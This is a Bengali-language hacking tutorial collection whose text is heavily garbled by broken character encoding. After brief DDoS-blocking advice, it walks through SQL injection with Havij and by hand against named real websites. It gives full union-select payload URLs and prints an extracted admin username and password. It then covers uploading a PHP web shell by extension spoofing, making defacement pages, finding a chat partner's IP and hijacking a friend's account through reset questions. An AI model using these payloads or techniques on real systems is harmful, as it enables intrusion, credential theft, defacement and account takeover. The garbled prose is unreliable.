মকতদ সদচছখন সকান একটা কতনকতদব ি থফা কাছা কাকতছ অআকত সথচছক ১০০ + কাচছনকন চছযচছছ

তচছফ ফচছঝ কতনচছফন সম খফয খাযা icon sad

এফায অকত কতকবাচছফ অনায াবব ায সথচছক একটা অআকত সক ফযান কযচছফন hellip

মকতদ অনায াবব াচছয APF firewall আনসটর কযা থাচছক তচছফ CMD সত কতরখন

apf -d xxxxxxxx

মকতদ CSF firewall আনসটর কযা থাচছক তচছফ কতরখন

csf -d xxxxxxxx

অয মকতদ দচছটায একটা না থাচছক এফং অকতন মকতদ শধ iptables আউ কচছযন তচছফ কতরখন

iptables -I INPUT 1 -s -j DROP xxxxxxxx

উচছেখ এখাচছন xxxxxxxx এয সথচছর সম অআকত টা ফযান কযচছত চান তা ফচছফ

তচছফ ফচছর যাখা বার অকতন কতনচছজ ফভযআ াবব ায এ ফচছ থাকচছত াযচছফন না এফং এয যত ার এয খফয যাখচছত াযচছফন না

এয জনয অনাচছক অনায সাটিং এয উয কতনবব য কযচছত চছফ এভন কাচছযা কাছ সথচছক সাটিং কতনচছত চছফ মাযা ফভয সডকতডচছকচছটড ড যাটাক াচছাটব সদয

এছািা অচছযা কতগচছরা কতফলয অচছছ সমগচছরায উয সখযার যাখচছরআ াধাযন ড কতডড যাটাকচছথচছক ফাচচছত াযচছফন খফ চছজআ অন সদচছখ সনআ সগর সকভন

াবব ায সভকতন এয যকষা কতনকতশচত করন ফায অচছগ

চছনকভয সদখা মায যাকায যা সম াবব ায সক যাটাক কযচছত চায সটা সকআ ফায অচছগ সছাটট একটা নাননা ভননা সটরাজান কতদচছয ধযাাযী কচছয যাচছখ

পরাপর ড যাটাচছকয ভয াবব ায কতনচছজ কতনচছজয কতফরচছি কাজ কযা শর কচছয অনাচছক কতনকতশচত কযচছত চছফ াবব ায কতনচছজ সমন ফ কতদক সথচছক যকতকষত থাচছক

এযজনয মথা সকান সনোআব সথচছক সকান ডাটা টরানসপায কযচছফন না যকতকষত াআট ঘযাঘকতয কযচছফন না কতনকতশচত তর সথচছক পরাি সকান পাআর যাকতয চছনকযচছফন না

সকান সকান সাটব গচছরা চছন যাখা জরকতয তা সজচছন কতনন মথা পরচছযাজনীয সাটব সখারা সযচছখ ঝাচছভরা ফািাচছফন না

অনায সকান সকান াবব ায সাটব সখারা যাখা উকতচত তা সজচছন কতনচছত ভাআচছকরাপট এয Microsoft Knowledge Base (KB)

অটিব চছকর 150543 চছত সজচছন কতনন

httpsupportmicrosoftcomdefaultaspxscid=kben-us150543ampsd=tech

াচছযটিং কতচছেভ এয কতডপি কতকযকতযটি সথচছক চছফবারচ পাযদা কতনন

উআচছনডাজ াচছযটিং কতচছেভ ফযফায কযচছর কতচছেভ পাআর সচকতকং [ System File Checking ( SFC) ]

এফং আনটাযচছনট কাচছনকন পাযাযযার [ Internet Connection Firewall ( IFC ) ] এনাচছফর কচছয কতনন এগচছরা কতকনত কতডপি বাচছফ কতডজযাচছফর কযা থাচছক

এগচছরা অনায াবব ায কতচছেভ এয কতপিাকতযং াযপচছভবনস ঠাৎ কচছয ফহগন ফাকতিচছয কতদচছফ

কাচছনকটিকতবটি ককতভচছয কতদন

অনায াবব ায এয াচছথ সমাগাচছমাগ ফা কাচছনকন সথান কযায জনয খফ কতনকতদব ি কতকছ সাটব কতচছরকট কচছয কতদন মাচছত কচছয াবব ায

এফং কাচছনকটিং কতচছেভ দচছটাযআ পাযাযযার িণব ফযাায তা ধযচছত াচছয উদাযণ সবর HTTP SMTP FTP IMAP

এফং POP সাটব গচছরা কতচছরকট করন অনায াবব ায এয াচছথ কাচছনকন এয জনয কতনযধাকতযত সাটব গচছরা

এগচছরা চছনক যকতকষত এফং কতনকতশচত icon smile

পাযাযযার ফযফায করন

উআচছনডাজ এয পাযাযযার মচছথি বার কতকনত মবাি বার না এয জনয অকতন নয পাযায যার ফযফায কচছয সদখচছত াচছযন

এচছত কচছয আনফাউনড অউটফাউনড ফ ধযচছনয কাচছনকন এয উয খফ চছজআ অকতন সচাখ যাখচছত াযচছফন

এফং অনায কতচছেভ াবব ায যকষা সফচছি মাচছফ চছনক গচছন কতগর বার পাযাযযার এয ঠিকানা অকতভ এখাচছন কতদচছয কতদকতে সদচছখ কতনন

httpwwwsymanteccomindexjsp httpwwwsymanteccomindexjsp httpwwwzonealarmcom httpwwwcomodocom

এছািা DoS DDoS attack রযন এয াাময সনযা মায সমভন RioRey

সািটি - pirate_king এফং শভর অকাgtgtgtgtgtএয সাে সথচছক একতডট কযা চছযচছছ

heartsheartshearts Havij

SQLi টিউমটাসরো heartsheartshearts

Download

Havij 15 Pro httpwwwmediafirecoms7a89dxmfwxcyij

পরথচছভ GoogleCom এ মান

এফায কতনচছচয গগর ডকটি কতরচছখ াচব কতদন

inurlphpid=

তাচছর চছনকগচছরা পরাপর সদখাচছফ

এখাচছন চছনক Dork াচছফন httppastebincomDvnHxg7i

সদখন পরাপর সদখাচছে ldquoপরায 2010000000টি পরাপর(023 সচছকনড) rdquo

এফায সম সকান একটি াআচছট পরচছফ করন

এছািা অকতন সম সকান াআট ধযচছত াযচছফন সম ফ াআচছটয য phpid= অচছছ সআ ফ াআচছট াযচছফন সমভনঃ

httpwwwpaulprescottcomthemephpid=10

অভযা এআ াআটটিচছক টাচছগবট কযরাভ

এফায অনায টাচছগবট কযা াআচছটয কতরংচছকয সচছল সদচছখন এভন একটা অচছছ ID=XX এখাচছন XX এয জাযগায সমচছকান নং অচছছ সমভন অভায এখাচছন অচছছ ID=10

এফাযয এআ কতরংচছকয সচছল একটা ( lsquo ) রাগান

এফায এনটায কতদন

এফায মকতদ উচছযয ভচছতা Error সদখায তাচছর ফঝচছফন সম াআটটিচছত inject কযা মাচছফ

এফায ldquoHavijrdquo টরটা চছন করন তাচছর কতনচছচয ভচছতা অচছফ

এফায Error াযা াআটিয কতরংকটি এখাচছন সদন ldquoAnalyzerdquo ফাটচছন কতিক করন (উচছযয কতচতরটি সদখন) এফায কতকছকষণ চছকষা করন তাচছর টরটি চছযফাআটটি যীকষা কযচছফ

মকতদ কাজ য তাচছর এআ যকভ ভযাচছজ কতদচছফ

Current DB XXXX

কতনচছচয ছকতফটি সদখন

এফায ―Tables tab এ মান

এফায ―Get DBlsquos এ কতিক করন

এফায ফাভাচছয যাচছনচছর সদখন ২টা ডযাি পাআর াযা সগচছছ ―paul_third ―information_schema

দটা পাআর

―information_schema অনায ধযায দযকায নাআ এখাচছন MySQL তথয থাচছক

শধ ভাতর ―paul_third কতচছরকট করন

এফায ―Get Tables এ কতিক করন

তাচছর অকতন সটকতফচছরয ডযাি পাআরগচছরা সচছয মাচছফন

এখন অভযা administration panel টি যাক কযচছত সচিা কযফ

এখন ―admin table টি সচক করন

এখাচছন ভাতর ১ জনআ আউজায াচছফন মকতদ অকতন সকান আউজায না ান তাচছর অকতন এখাচছন যাক কযচছত াযচছফন না

এফায ―Get Columns ফাটচছন কতিক করন

তাচছর কতনচছচয ভচছতা অচছফ

এখাচছন ―id ―username ( সম Username কতদচছয চছযফাআচছট রগআন কচছয ) ―password ( সম Password কতদচছয চছযফাআচছট রগআন কচছয) ―email (এডকতভন সম সম আচছভআর কতদচছয সযকতজঃ কচছযচছছ কাজ কচছয)

এফায ―Get Data টযাচছফ কতিক করন

তাচছর টরটি অনাচছক Username Password আচছভআচছরয তথযগচছরা সদখাচছফ

অফায ―Find Admin টযাচছফ কতিক করন

তাচছর এটি অনাচছক Administration Panel login সদকতখচছয সদচছফ

এফায অকতন অনায কতবকটিচছভয চছযফাআটিয নাভ টাআ করন administration panel সফয কযায জনয

তচছফ ভচছন যাখচছফনphpid=XX অফায রাগাচছযন না

ldquoPath to Searchrdquo ফচছকস িণব URL টি কতরখচছফন

এফায ldquoStartrdquo ফাটচছন কতিক করন তাচছর অনাচছক Administration Panel login page টা সদখাচছফ

তাচছর অভযা Administration Panel সরাভ

এফায administration panel login সচছজ মান অচছগয াযা আউজায অআকতড াযাডব কতদচছয এডকতভন সজ রগআন করন

মপাষটটি সমেমেি -িসিববাসিত টিউিারtrade

সকান পটযযায ছািা SQL INJECT কচছয অনাচছদয বানবাফর াআট রাআব যাক কযা কতখাচছফা

তাচছর কথা না ফাকতযচছয শর ককতয

পরথচছভ SQL INJECT কযায জনয অভাচছদয বানবাফর াআট খজচছত চছফ

এয জনয অভযা dork use কযফ

inurlindexphpid= inurltrainersphpid=

inurlbuyphpcategory= inurlarticlephpID=

inurlplay_oldphpid= inurldeclaration_morephpdecl_id=

inurlPageid= inurlgamesphpid=

inurlpagephpfile= inurlnewsDetailphpid=

inurlgalleryphpid=

এআ খাচছন কতকছ dork অচছছ sql বানবাফর াআট খজায জনয

8500 SQL dorks list

httppastebincomdzknXjgP or

httppastebincomayV6tNS2

পরথভ এ একটা dork কতনচছয অভযাwwwgooglecom এ SEARCH কতদফ

inurlnews-and-eventsphpid=

এআ dork কতদযা SEARCH কতদচছয অকতভ চছনক াআট সদখরাভ সখান সথচছক অকতভ একটা াআট কতনরাভ

সমভন httpwwweastodissaacinnews-and-eventsphpid=22

ছকতফঃ

পরথচছভ SQL INJECT কযায জনয াআচছটয ID সবরয খজচছত য

এযয অনাচছক সদখচছত চছফ াআট টি injectable কতকনা

এয জনয অনাচছক url এয সচছল একটি lsquo ফাচছত চছফ

httpwwweastodissaacinnews-and-eventsphpid=22

মকতদ ডাটাচছফচছজয কতকছ কতভকতং অচছ ফা সচছজয কতকছ আযয অচছ তাচছর ফঝচছফন াআট টি injectable

সমভন ldquoYou have an error in your SQL syntax check the manual that corresponds to your MySQL server version for the

right syntax to use near rdquorsquo at line 1Prime

ছকতফঃ

এখন injectable াআচছট inject কযায জনয অনাচছক পরথচছভ ডাটাচছফচছজয করাভ সফয কযচছত চছফ

এখাচছন অভাচছদয বানবাফর াআট

httpwwweastodissaacinnews-and-eventsphpid=22

মাআ সাক অভাচছদয ডাটাচছফচছজয করাভ সফয কযচছত চছর +order+by+ কভানড কতদচছত চছফ

তাচছর কতরংকটি দািায

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+

এখন + এয সচছল অনাচছক 1 সথচছক শর কচছয তত মবনত সচিা কযচছত চছফ

এখন 1 কতনচছয সদচছখন

তাচছর কতরংকটি দািায

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+1--

না তাচছর াআচছট সকাচছনা ডাটা কতভ কযচছতচছছ না

অফায 2 কতদচছয সচিা ককতয

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+2--

ছকতফঃ

না এফায ডাটা কতভ কযচছতচছছ না

এফাচছফ 345 কচছয 7 মবনত সগরাভ

8 এ সগচছর চছযা াআট SQL আযয সদখায

(চছনক ভয সদখা মায

wwwsitecomindexphpid=1 order 999ndash [ no error ]

থবাৎ order by 999 কতদচছর সকান error সদখায না

এচছকষচছতর mdash এয য + এফং id=1 এয য lsquo sign কতদচছত চছফ

তাচছর িণব কতরেটি চছফ

wwwsitecomindexphpid=1prime order by 999ndash+

এফায সচছজ error সদখাচছফ

ফাকতক ংগচছরা াধাযন SQL Injection এয ভতআ চছফ )

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+8--

ছকতফঃ

আযয এযকচছভয চছত াচছয

Could not connect to MySQL server Unknown column rsquo8prime in lsquoorder clausersquo

থবাৎ এআ াআচছটয ডাটাচছফচছজয করাভ 7 টি

এখন অভাচছদয সদখচছত চছফ এআ 7 টা করাচছভয সবতয বানবাফর সকানটি এয জনয অভাচছদয অফায কভানড ফযফায কযচছত চছফ

কভানড টি

+union+select+1234567--

তাচছর কতরংক টি দািাচছফ

httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1234567--

ছকতফঃ

( উচছেখ এখাচছন news-and-eventsphpid= এয য একটি ndash সদযা চছযচছছ (

এখন অকতন বানবাফর করাভ সদখচছত াচছফন

এআ াআচছটয বানবাফর করাভ 23সদখাচছফ

এখাচছন অভযা 2 নমবয করাভ কতনচছয কাজ কযচছফা

এখন অভযা বানবাফর করাচছভয বাবন সফয কযচছফা

এয জনয অনাচছক অফায একটি কভানড ফযফায কযচছত চছফ

এখন অচছগয কতরংচছক শধ 2 এয জাযগায versionকতদচছত চছফ

তাচছর কতরংক টি দািায

httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1version34567--

ছকতফঃ

এআ কতরংচছক সগচছর অভযা বাবন সদখচছত াচছফা

এটায বাবন 5168-community

বাবন 5 এয কতনচছচ াআট গচছরা চছফ না তা ফাদ কতদচছয নযগচছরা াআট inject কযচছত সচিা কযচছফন

এখন অভযা অচছযকটি কভানড ফযফায কচছয সটকতফর সফয কযফ

এচছকষচছতর বানবাফর করাচছভয ফদচছর group_concat(table_name) কভানড কতদচছফা এফং সল করাচছভয য

+from+information_schematables+where+table_schema=database()-- কভানড কতদচছফা

তাচছর কতরংকটি দািাচছরা

httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1group_concat(table_name)34567+from+information_schematables+where+table_schem

a=database()--

কতরংচছক সগচছর অকতন কতকছ সটকতফর সদখচছত াচছফন

ছকতফঃ

এআ াআচছটয সটকতফর গচছরা র

est_achievementest_adminest_adminlogest_companyrecordest_facprofileest_newsest_noticeest_onlineapplicatio

nest_placementrecord

এখন এখান সথচছক এডকতভন সটকতফর সফয কযচছত চছফ

এচছকষচছতর অনাচছক একট ফকতি খাটাচছত চছফ সমভন এখাচছন est_achievement est_companyrecord এয এডকতভন সটকতফর চছফ না ফঝা মায

একভাতর est_admin এডকতভন সটকতফর ভচছন য

ধচছয কতনচছত না াযচছর ফা বর ধযচছর ভাযা সনআ

কভাচছনডয ভাধযচছভ সফয কযচছত চছফ এচছকষচছতর অনাচছক বানবাফর াআচছটয ফদচছর group_concat(column_name) কভানড কতদচছত চছফ

এফং সল করাচছভয য +from information_schemacolumns where table_name= এয য অনায ধচছয সনযা এডকতভন সটকতফচছরয CHAR রানতয কতদচছত চছফ

এআ কতরংক সথচছক এডন টি ডাউনচছরাড কচছয আনসটর কচছযন পাযাযপকস বরাউজায

httpsaddonsmozillaorgen-USfirefoxaddonhackbar

এখন যাকফায টি চছন কচছযন F9 সচচছ

এফায SQLgtMySQLgtMySQL CHAR() কতিক কচছযন

ছকতফঃ

নতন একটা ফকস অচছফন সখাচছন যাডকতভন সটকতফর টি কতদচছয ok কতদন

ছকতফঃ

এখাচছন est_admin সক CHAR রানতয কযচছর য CHAR(101 115 116 95 97 100 109 105 110)

তাচছর কতরংকটি দািায

httpwwweastodissaacinnews-and-eventsphpid=-

22+union+select+1group_concat(column_name)34567+from+information_schemacolumns+where+table_name=CH

AR(101 115 116 95 97 100 109 105 110)--

ছকতফঃ

অকতন এডকতভন সটকতফর ধাযনা না কযচছত াযচছর অকতন = এয য নযানয সটকতফচছরয সকস রানতয কতদচছয সচিা কযচছফন

সমচছত অভযা ফচছঝকতছ est_admin এডকতভন সটকতফর এয CHAR রানতয কতদচছয কতরংচছক কতগচছয অভযা সরাভ কতকছ এডকতভন করাভ

uiduseridpasswordemailidsignaturelast_login

এখন অভযা এডকতভন করাভ সথচছক াআচছট রকতগচছনয জনয আউজাযচছভভ অয াযাডব সফয কযচছফা

এজনয অভাচছদয সল কভানড ফযফায কযচছত চছফ

এজনয অভাচছদয বানবফর করাচছভয ফদচছর group_concat(login0x3aPass0x3a) কভানড কতদচছফা

সমচছত অভযা এডকতভন করাচছভ userId সচছযকতছ তা login এয ফদচছর কভাচছনড userId কতরখচছফা অকতন নয াআচছট নয কতকছ সচছত াচছযন

করাভ কতচছচছফ অনাচছক কভানড কযচছত চছফ

এবক বাচছফ কভাচছনড Pass এয ফদচছর password ফযফায কযচছত চছফ

এফং সল করাচছভয য +from+est_admin-- ফাচছত চছফ

+from+ এয য est_admin কতদরাভ কাযন এখাচছন এডকতভন সটকতফর est_admin

তাচছর কতরংক টি দািায

httpwwweastodissaacinnews-and-eventsphpid=-

22+union+select+1group_concat(userId0x3apassword0x3a)34567+from+est_admin--

ছকতফঃ

সদখচছফন অকতন আউজাযচছনভ সচছয মাচছফন

এখাচছন আউজাযচছভভ াযাডব চছে trustadministi$$952013

আউজাযচছভভ trustadmin

াযাডব isti$$952013

এখন সল কাজ চছে এডকতভন সচছনর সফয কযা

এয জনয অনাচছক সকাচছনা ফটযায ফা এডকতভন পাআনডায াআট ফযফায কযচছত চছফ

মাযা সভাফাআর কতদচছয যাকতকং কচছযন তাযা এডকতভন যাচছনর সখাজায জনয এআ াআট টি ফযফায কযচছত াচছযন

-httpscansubhashdasyamcomadmin-panel-finderphp

অয মাযা কতকত সত কাজ কযচছফন তাযা havij ফযফায কযচছফন এডকতভন যাচছনর সখাজায জনয

অয MD5 যা বাঙচছত wwwmd5decryptercuuk এটি ফযফায কযচছফন

তাযচছয ফজচছত ভযা চছর কতনচছচয কতবকতড টি সদখন

httpwwwyoutubecomwatchv=QuW_rSQ5_W0ampfeature=youtube_gdata_player

কতফদরঃ সােটি শধ কতখায জনয কায কষকতত কযচছফন না ফাংরাচছদচছয সকান াআট যাক কযচছফন না

অনায সকান ভযায জনয সরখক যাকতকং জগৎ গর দাকতয থাকচছফ না

কতরচছখচছছনঃ ফারক িঅহমমদ

অজচছক অকতভ অনাচছদয সদখাফ কতকবাচছফ shell উচছরাড কযচছত য LiveHTTPHeaders কতদচছয কতরচছখচছছনঃ ফারক িঅহমমদ

াগমবিঃ

Mozilla Firox ভকতজরা পাযাযপকস

Live HTTP Headersএডন পাযাযপকস এয জনয ডাউনচছরাড করণ কতনচ সথচছক

httpsaddonsmozillaorgenfirefoxaddonlive-http-headers

shell সম সকান সর ফযফায কযচছত াচছযন

কতনচ সথচছক ডাউনচছরাড কচছযন i-47 shell

httpwwwpastebucketcom19852

or

wwwmediafirecom64fjdlvzo9zhrra

shell username and password

username I-47

password I-47

তাহম এেি শর কসর

১ িািআমট িযা সমি পযামি গিআি করার পর মযোমি ফািআ উপমা করা যাে তা েমজ মবর

করণ

২অানায সর নাভটা ফদচছর কতনন সমভনঃ 47phpjpg (াআচছট সম পযভযাচছট পাআর উচছরাড াচছাটব কচছয সমভনঃ অকতভ সম াআট এ পাআর উচছরাড কযকতছ সটাচছত jpg পাআর াচছাটব কচছয তাআ অকতভ নাভ কতদচছযকতছ 47phpjpg

৩ এফায বরাউজ ন সথচছক অনায সর টি সদকতখচছয কতদন তাযয Live HTTP Headers addon টি কতিক করন তাযয উচছরাড ফাটন এ কতিক করণ

৪ এখন অনায Live HTTP Headersটি এভন সদখচছত াচছফন

৫save click কচছযন

৬ এফায অনায সর নাভটি খচছজ সফয করন সম নাচছভ সর উচছরাড কচছযকতছচছরন

১এখন কতিক করন 47phpjpgচছয কতিক করণ

২ Reply ফাটন

৭তাযয নতন একটি উআচছনডাজ খরচছফ সটি চছফ ২ ফকস এয অভযা কাজ কযফ ২ নামবায ফকস এয কতনচছচযটিচছত

৮এখন কতনচছচয ফকস সথচছক অনায সর নাভটি ফদর কচছয কতদন ১ shellphpjpg সথচছক shellphp তাযয কতিক

২ Reply ফাটন

এখন অনায কাজ সল সদখন পর বাচছফ অনায সর অচছরাড চছযচছছ

এফায অচছন অনায সর টি খচছজ কতনন সমখাচছন অচছরাড কচছযকতছচছরন সমভন অকতভ ছকতফটিয যাআট াআট এ কতিক কচছয ছকতফয কতরে ককত কযরাভ

wwwsitecomgallery37473jpg

এখন অকতভ 37473jpg এয মাযগায অভায সর নাভ কতদফ 47php সমভনঃ অকতভ অচছরাড কচছযকতছ wwwsitecomgallery47php

এফায অকতভ এআ কতরে কতদচছয পর বাচছফ অভায সর এ রগআন কযচছত াযরাভ

Video Tutorial

httpwwwyoutubecomwatchv=xSl13HrQHZgampfeature=youtube

কতরচছখচছছনঃ ফারক িঅহমমদ

কতডচছপ সজ র অকতন সকান াআট যাক কযায য আ াআট এ অনায সম চছযফচছজ কতদচছফন সটি সমভন অনায যাক কযা াআট এ সভচছজ সদযায জনয সম চছযফচছজটি ফযাফায কযচছফন সটিআ কতডচছপচছজ অজচছক নদয কতডচছপচছজ ফানাচছনায কতকছ টিউচছটাকতযযার সযায কযচছফা

--==DefacePage Generator==--

Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar

পটযযাযটি চছন কযচছর কতনচছচয ভত একটি উআচছনডা াচছফন

১ ndash অনায সজচছড এয নাভ কতদনসমভনndash3xtr3m3 H4ck3r

২ ndash অনাযচছজ এয নাভ কতদন ৩ ndash সজএ সকান কতকচায কতদচছত চাআচছর তায কতরংক কতদন

সমভন - httpi1114photobucketcomalbumsk528rakibulhasan09Hacker1gif

৪ ndash অকতন সজ এ মা কতকছ কতরখচছত চান তা এখাচছন কতরখনএটা অনায সভচছজ ৫ ndash অকতন মকতদ সকান ফযাকগরাউনড কতভউকতজক কতদচছত চান তচছফ তায আউটিউফকতরংক এখাচছন কতদন ৬ ndash এটি অনায এআচটিএভএর সকাড ৭ - Generate এ কতিক কচছয অনায সকাড সজনাচছযট কচছয কতনন ৮ - Copy সত কতিক কচছয কতনন

এফায একটি সনাটচছড চছন কচছয অনায সজনাচছযট কযা সকাডটি সে করন এফং সনাটচছড এয FilegtSave

as এ কতিক কচছয অনায কতডচছপচছজ এয নাভ কতদচছয txt এয জাযগায html কতদন এফং কতনচছচ পাআরটাআ এ All files

কচছয কতদন সব চছয সগচছর অনায কতডচছপচছজ টি গগর চযভ ফা ভকতজরাচছত চছন কচছয সদখন অকতন মকতদ এআচটিএভএর াচছযন তচছফ অকতন আো কযচছর কতডচছপচছজটি অচছযা কােভাআজ কযচছত াযচছফন Simple Demo - httppastehtmlcomviewbonelu59ohtml

--==Advance Deface Page Creator==--

Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar

Tutorial -

পাআরটি চছন কযচছর কতনচছচয ভত উআচছনডা াচছফন

এখাচছন অনায নাভ কতদন সমভন - X3N4X অভায নাভ

এফায Enable All এ কতিক করন এচছত ফ আচছপকট ন চছফ

এফায পরচছযাজনীয ঘয গচছরা অনায আনপযচছভন কতদচছয যন করন এফং আচছেভত কারায কতযফতব ন করন

Add Homepage title and texts এ কতিক করন

এফায এখাচছন অনাযচছজ এয নাভ এফং সজ এ অকতন কতক কতক সভচছজ কতদচছত চান তা কতরখন এফং পরচছযাজনভত াআজ ঠিক কচছয কতনন

সল চছর এপলাআ চছক কচছয কতদনঅয মকতদ অচছযা সরখা সমাগ কযচছত চান তচছফ Add এ কতিক করন

সরখা সল চছর চছক কচছয কতদন

এফায Create Defacement এ কতিক কচছয অনায পাআচছর এয নাভ অয জাযগা সদকতখচছয সব কচছয কতনন

সব চছয সগচছর পাআরটি চছন কচছয সদখনঅকতন HTML এ াযদী চছর সজটি সনাটচছড এ চছন কচছয আচছেভত একতডট কচছয কতনন এফং অনায যাক কযা াআট এ অচছরাড কচছয কতনন Simple Demo - httppastehtmlcomviewbonexk664html

--==অকতনমকতদ HTML াচছযন==--

অকতন মকতদ HTML াচছযন তচছফ গগর সথচছক াচব কতদচছয চছননয কতডচছপচছজ ডাউনচছরাড কতদচছয সটি অনায নাভ আনচছপা কতদচছয অনায ফাকতনচছয কতদন

Collection -bcaware

httpwwwtunerpagecomarchives78980

httpwwwtunerpagecomarchives98804

httpwwwtunerpagecomarchives219088

httpwwwtunerpagecomarchives224434

---------------------------------------------------------------------------------------

---------------------------------------------------------------------------------

1মেব মপরাগরাসমিং সলোর জিয ৩০ টি বািংা িআ-বক বা pdf বিআ

2 Collection of Important Programming Languages E-books

httpwwwfacebookcomdownload290805637728289Collection20of20Important2

0Programming20Languages20Erar

3 Collection of best SQL injection Tools

পটযযায গচছরা ডাউনচছরাড কযচছত অনাচছক গর এ জচছযন কযচছত চছফ

অভাচছদয সপফক গর টি সচছকরট যায অচছন জচছযন কযচছত াযচছফন না তাআ সকউ মকতদ অভাচছদয গরচছ জচছযন কযচছত চান তাআচছর অভাচছক সপফচছকঅনায সপফক সপরাপাআর কতরে সভচছজ কতদন অকতভ যাড কচছয কতদফঅয সকাথায সকান বর চছর কতনজগচছন কষভা কচছয কতদচছফন

পারক অচছভদ

wwwfacebookcommdfaroqueahmed

Mystrious Tusin

wwwfacebookcomcyb3rc0d3

Page 9: Hacking Bangla eBook

সকষতর-১ মকতদ অকতন ICQ Messenger এ চযাট কচছযন অয সখাচছনয কায ফসথান জানচছত চান তাচছর এ িকততটি কাচছজ রাগান ICQ Messenger এয কাজ কযায ধযন চছে (অকতন-gtঅনায ফনধ-gtঅকতন) এআবাচছফ তাআ কায অআকত ংগর কযাএচছকষচছতর খফ জ কাজ ভচছন করন অকতন কায অআকত জানচছত চাচছেন তাচছর তাচছক কতট করন কতকনত চযাটিং শর কযচছফন না এফায Start-gtRun-gtcmd-gtnetstat -nএনটায কতদন সম অআকতগচছরা অচছফ তা সকান যাপ কাগচছজ কতরচছখ যাখন এফায অকতন তায াচছথ চযাটিং অযমভ করন অফায Start-gtRun-gtcmd-

gtnetstat -nএনটায কতদন এফায অকতন সখাচছন নতনএকটি অআকত সদখচছত াচছফন অয এআ ফযাকতিয াচছথআঅকতন এখন চযাটিং এ ফযাসতএফায কতকবাচছফ তায ফসথান সফয কযচছফন তা কতনশচযআ অয ফচছর কতদচছত চছফ না

সকষতর-২

Yahoo Messenger MSN Messenger GTalk Messenger এয সকষচছতর উচছযাি সভচছনজাযগচছরায কাজ কযায ধযন চছে (অকতন-সভচছনজাচছযযাবব ায-অনায ফনধ) এআবাচছফ এখাচছন মকতদ অকতন সকষতর-১ এয িকতত কাচছজ রাগান তাচছর অকতন সভচছনজাচছযয অআকত াচছফন ফযাকতিয না এআচছকষচছতর অকতন চারাচছত াচছযন সাযার আকতনজকতনযাকতযং মকতদ এটা কতনচছয যফতী ধযাচছয অচছরাচনা চছফ তথাকত এখাচছন কতকছ কতযকতচকতত সদযা চছে সাযার আকতনজকতনযাকতযং চছে কাউচছক সফাকা ফাকতনচছয তাচছক যাকতকং কযা অয এআ সভচছনজাচছযয সকষচছতর (ভচছন যাখচছফন কতধকাং সভচছনজাযআ এআ কাজটি কচছয থাচছক) অকতন অনায াচছথ চযাটিংকত ফযাকতিটিচছক ফরন অনায কাচছছ সকান পাআর াঠাচছত ফা তাচছক অকতনকতকছ াঠাচছত াচছযন সটা চছত াচছয সকান ছকতফ ফা অনায ছকতফ মকতদ স যাকতজ য তাচছর সকষতর-১ এয িকতত চাকতরচছয মান মখন অকতন তায াচছথ চযাটিং কযচছফন তখন অকতন কততকতযি সম অআকত এচছেটি সদখচছত াচছফন সটি চছে সভচছনজাচছযযঅআকত অয মখন স অনায কাচছছ সকান কতকছ াঠাচছফ তখন অচছযকটি নতন অআকত সদখচছতাচছফন সটি চছে তায অআকত এছািা অয একটি উায অচছছ তা র অকতন তাচছক অনায কাচছছ একটি সভআর াঠাচছত ফরচছত াচছযন মখনআ স সভআর াঠাচছফ অকতন কতযডচছনাটিপাআ িকতত চাকতরচছয মান মা অচছগ ফরা চছযচছছ সকান পরশন

সকষতর-৩

Meebo Gigsby Trillion আতযাকতদ ভাকতি চযাটিং আকতনজচছনয সকষচছতর এচছকষচছতর সকান িকতত সনআ শধ এতটকআ কযা মায তা র অকতন ফরচছত াচছযন অনাচছক সভআর কযচছত অয অকতন কতযডচছনাটিপাআ িকতত চারাচছত াচছযন অচছর কায অআকত াযা সতভন কঠিন কাজ নয অয এটা সতভন ফি ধযচছনয কাজ নয অআকতএচছেচছয ফযাাচছয ফরচছত সগচছর চছনক কথা ফরচছত য অআকত এচছে যচছযচছছ কতফকতবনন ধযচছনয অফায সখাচছন াফচছনট অআকতড এফং সাে অআকতড নাভক ফযাায যচছযচছছ এছািা অকতন একটি চছযফাআট শধ অআকত এচছে কতরচছখআ পরচছফ কযচছত াচছযন মকতদ সখাচছন সকসা টরানসপায এফং সকাসটরা টরানসপায নাভক ব

কতরচছখচছছনঃ সভচছকতদ াান

সাযার আকতনজকতনযাকতযং শধভাতর আনটাযচছনট জগচছতয াচছথআ মি নয ফযং তাঅভাচছদয সবাবাকতফক জীফনমাতরায াচছথ জকতিতঅকতন সকান সভচছযয াচছথ দ-নমবকতয (জ ফাংরা ফযফায কযরাভ-কতকছ ভচছন কযচছফন না) কযচছর সটা চছফ সাযার আকতনজকতনযাকতযং কতনচছজয কাচছমািব াচছযয জনয চছযয কাচছছ কতভথযা ফরচছর সটা চছফ সাযার আকতনজকতনযাকতযং ভরত কতনচছজয কাচছমািব াচছযয জনয চছযয সকান র কষকততাধন কযাচছকআ ফচছর সাযার আকতনজকতনযাকতযং

অনায ফনধয একাউনট যাকতকং কযচছত চাআচছর Forget password এ কতিক কচছযআ াধাযন কচছযকটি পরচছশনয উততয কতদচছযআ অকতন যাক কযচছত াচছযন কাযন ভানল ঐ কর জাযগায কতকছ াধাযন পরশনআ সফচছছ সনয অয অকতন অনায ফনধয াধাযনচছতা অচছছআ এভনকতক চছনক সগান তথয জাচছনন তাআ নয কী তাচছর সদখা মাচছে এখাচছন সাযার আকতনজকতনযাকতযং একটি গরতবণব কতফলয

